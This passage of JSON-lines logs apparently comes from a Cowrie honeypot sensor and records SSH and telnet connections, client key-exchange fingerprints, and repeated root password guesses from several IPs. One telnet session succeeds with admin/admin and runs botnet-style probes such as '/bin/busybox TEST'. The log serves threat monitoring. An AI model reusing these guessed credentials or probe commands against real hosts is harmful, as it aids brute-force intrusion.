],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:28:49.955124Z","src_ip":"202.165.22.58","session":"2b453ac939ce","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123@qweasd","message":"login attempt [root/123@qweasd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:28:51.143636Z","src_ip":"202.165.22.58","session":"2b453ac939ce","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.8","message":"Connection lost after 2.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:28:52.431973Z","src_ip":"202.165.22.58","session":"2b453ac939ce","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"182.48.68.82","src_port":44882,"dst_ip":"159.203.135.109","dst_port":22,"session":"e1ffb4bbf88d","protocol":"ssh","message":"New connection: 182.48.68.82:44882 (159.203.135.109:22) [session: e1ffb4bbf88d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:29:48.055272Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:29:48.059442Z","src_ip":"182.48.68.82","session":"e1ffb4bbf88d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:29:48.299403Z","src_ip":"182.48.68.82","session":"e1ffb4bbf88d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"11111","message":"login attempt [root/11111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:29:49.293055Z","src_ip":"182.48.68.82","session":"e1ffb4bbf88d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:29:50.536797Z","src_ip":"182.48.68.82","session":"e1ffb4bbf88d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.205.1.36","src_port":46242,"dst_ip":"159.203.135.109","dst_port":23,"session":"af41924ba0eb","protocol":"telnet","message":"New connection: 45.205.1.36:46242 (159.203.135.109:23) [session: af41924ba0eb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:30:17.072237Z"}
{"eventid":"cowrie.session.closed","duration":0.005930900573730469,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:30:17.078022Z","src_ip":"45.205.1.36","session":"af41924ba0eb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.205.1.36","src_port":46248,"dst_ip":"159.203.135.109","dst_port":23,"session":"e4d3416fe5ec","protocol":"telnet","message":"New connection: 45.205.1.36:46248 (159.203.135.109:23) [session: e4d3416fe5ec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:30:17.183678Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"","message":"login attempt [root/] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:30:17.684282Z","src_ip":"45.205.1.36","session":"e4d3416fe5ec","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":1.5003907680511475,"message":"Connection lost after 1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:30:18.683903Z","src_ip":"45.205.1.36","session":"e4d3416fe5ec","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.205.1.36","src_port":46260,"dst_ip":"159.203.135.109","dst_port":23,"session":"19cf7315a591","protocol":"telnet","message":"New connection: 45.205.1.36:46260 (159.203.135.109:23) [session: 19cf7315a591]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:30:18.796028Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"root","message":"login attempt [root/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:30:19.295970Z","src_ip":"45.205.1.36","session":"19cf7315a591","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":1.5002386569976807,"message":"Connection lost after 1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:30:20.296129Z","src_ip":"45.205.1.36","session":"19cf7315a591","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.205.1.36","src_port":46274,"dst_ip":"159.203.135.109","dst_port":23,"session":"1fb050151ce7","protocol":"telnet","message":"New connection: 45.205.1.36:46274 (159.203.135.109:23) [session: 1fb050151ce7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:30:20.427478Z"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:30:20.908117Z","src_ip":"45.205.1.36","session":"1fb050151ce7","protocol":"telnet"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:30:20.959946Z","src_ip":"45.205.1.36","session":"1fb050151ce7","protocol":"telnet"}
{"eventid":"cowrie.command.input","input":"echo SHELL_TEST","message":"CMD: echo SHELL_TEST","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:30:21.907750Z","src_ip":"45.205.1.36","session":"1fb050151ce7","protocol":"telnet"}
{"eventid":"cowrie.command.input","input":"/bin/busybox TEST","message":"CMD: /bin/busybox TEST","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:30:22.407749Z","src_ip":"45.205.1.36","session":"1fb050151ce7","protocol":"telnet"}
{"eventid":"cowrie.command.input","input":"cat /proc","message":"CMD: cat /proc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:30:23.007277Z","src_ip":"45.205.1.36","session":"1fb050151ce7","protocol":"telnet"}
{"eventid":"cowrie.command.input","input":"./","message":"CMD: ./","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:30:23.608241Z","src_ip":"45.205.1.36","session":"1fb050151ce7","protocol":"telnet"}
{"eventid":"cowrie.command.failed","input":"./ ","message":"Command not found: ./ ","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:30:23.612683Z","src_ip":"45.205.1.36","session":"1fb050151ce7","protocol":"telnet"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/8a6ec7b5e46a3a9e5ee837394a2bb870a78f5f16ea86f1f33271447f9eed1860","size":565,"shasum":"8a6ec7b5e46a3a9e5ee837394a2bb870a78f5f16ea86f1f33271447f9eed1860","duplicate":true,"duration":"3.3","message":"Closing TTY Log: var/lib/cowrie/tty/8a6ec7b5e46a3a9e5ee837394a2bb870a78f5f16ea86f1f33271447f9eed1860 after 3.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:30:24.209368Z","src_ip":"45.205.1.36","session":"1fb050151ce7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":3.7952589988708496,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:30:24.222661Z","src_ip":"45.205.1.36","session":"1fb050151ce7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"202.165.22.58","src_port":42356,"dst_ip":"159.203.135.109","dst_port":22,"session":"7852132f2629","protocol":"ssh","message":"New connection: 202.165.22.58:42356 (159.203.135.109:22) [session: 7852132f2629]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:30:24.602579Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:30:24.607125Z","src_ip":"202.165.22.58","session":"7852132f2629","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:30:24.900574Z","src_ip":"202.165.22.58","session":"7852132f2629","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"a_123456","message":"login attempt [root/a_123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:30:26.099306Z","src_ip":"202.165.22.58","session":"7852132f2629","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.8","message":"Connection lost after 2.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:30:27.395163Z","src_ip":"202.165.22.58","session":"7852132f2629","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"177.36.200.182","src_port":61552,"dst_ip":"10.17.0.5","dst_port":22,"session":"1cf629f24e4a","protocol":"ssh","message":"New connection: 177.36.200.182:61552 (10.17.0.5:22) [session: 1cf629f24e4a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:30:39.971098Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Renci.SshNet.SshClient.0.0.1","message":"Remote SSH version: SSH-2.0-Renci.SshNet.SshClient.0.0.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:30:39.979674Z","src_ip":"177.36.200.182","session":"1cf629f24e4a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"748f8c627d3f8ff9921d02f86f55ba2c","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,aes192-cbc,aes256-cbc,3des-cbc,blowfish-cbc,twofish-cbc,twofish192-cbc,twofish128-cbc,twofish256-cbc,arcfour,arcfour128,arcfour256,cast128-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha2-512-96,hmac-sha2-256-96,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-md5-96-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","aes192-cbc","aes256-cbc","3des-cbc","blowfish-cbc","twofish-cbc","twofish192-cbc","twofish128-cbc","twofish256-cbc","arcfour","arcfour128","arcfour256","cast128-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha2-512-96","hmac-sha2-256-96","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com","hmac-md5-96-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 748f8c627d3f8ff9921d02f86f55ba2c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:30:40.390520Z","src_ip":"177.36.200.182","session":"1cf629f24e4a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"rootadmin","message":"login attempt [root/rootadmin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:30:41.968839Z","src_ip":"177.36.200.182","session":"1cf629f24e4a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.4","message":"Connection lost after 3.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:30:43.367506Z","src_ip":"177.36.200.182","session":"1cf629f24e4a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"182.48.68.82","src_port":41596,"dst_ip":"159.203.135.109","dst_port":22,"session":"47711f2dd067","protocol":"ssh","message":"New connection: 182.48.68.82:41596 (159.203.135.109:22) [session: 47711f2dd067]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:30:53.128330Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:30:53.133359Z","src_ip":"182.48.68.82","session":"47711f2dd067","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:30:53.374698Z","src_ip":"182.48.68.82","session":"47711f2dd067","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"wil123","message":"login attempt [root/wil123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:30:54.371792Z","src_ip":"182.48.68.82","session":"47711f2dd067","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:30:55.616726Z","src_ip":"182.48.68.82","session":"47711f2dd067","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":48756,"dst_ip":"10.17.0.5","dst_port":23,"session":"ca64e0f03439","protocol":"telnet","message":"New connection: 104.245.105.2:48756 (10.17.0.5:23) [session: ca64e0f03439]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:31:17.827398Z"}
{"eventid":"cowrie.session.connect","src_ip":"138.36.254.79","src_port":35610,"dst_ip":"10.17.0.5","dst_port":23,"session":"e49dd50e0995","protocol":"telnet","message":"New connection: 138.36.254.79:35610 (10.17.0.5:23) [session: e49dd50e0995]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:31:20.577159Z"}
{"eventid":"cowrie.session.closed","duration":12.380096435546875,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:31:32.957138Z","src_ip":"138.36.254.79","session":"e49dd50e0995","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.579899787902832,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:31:48.407178Z","src_ip":"104.245.105.2","session":"ca64e0f03439","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"182.48.68.82","src_port":34922,"dst_ip":"159.203.135.109","dst_port":22,"session":"9130448f80ad","protocol":"ssh","message":"New connection: 182.48.68.82:34922 (159.203.135.109:22) [session: 9130448f80ad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:31:56.726036Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:31:56.732980Z","src_ip":"182.48.68.82","session":"9130448f80ad","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:31:56.974455Z","src_ip":"182.48.68.82","session":"9130448f80ad","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":46060,"dst_ip":"10.17.0.5","dst_port":23,"session":"182f223490a0","protocol":"telnet","message":"New connection: 104.245.105.2:46060 (10.17.0.5:23) [session: 182f223490a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:31:57.448653Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwe123456@","message":"login attempt [root/qwe123456@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:31:57.969993Z","src_ip":"182.48.68.82","session":"9130448f80ad","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:31:59.214472Z","src_ip":"182.48.68.82","session":"9130448f80ad","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"202.165.22.58","src_port":59360,"dst_ip":"159.203.135.109","dst_port":22,"session":"3a6b0bafe2e0","protocol":"ssh","message":"New connection: 202.165.22.58:59360 (159.203.135.109:22) [session: 3a6b0bafe2e0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:31:59.331732Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:31:59.336709Z","src_ip":"202.165.22.58","session":"3a6b0bafe2e0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecd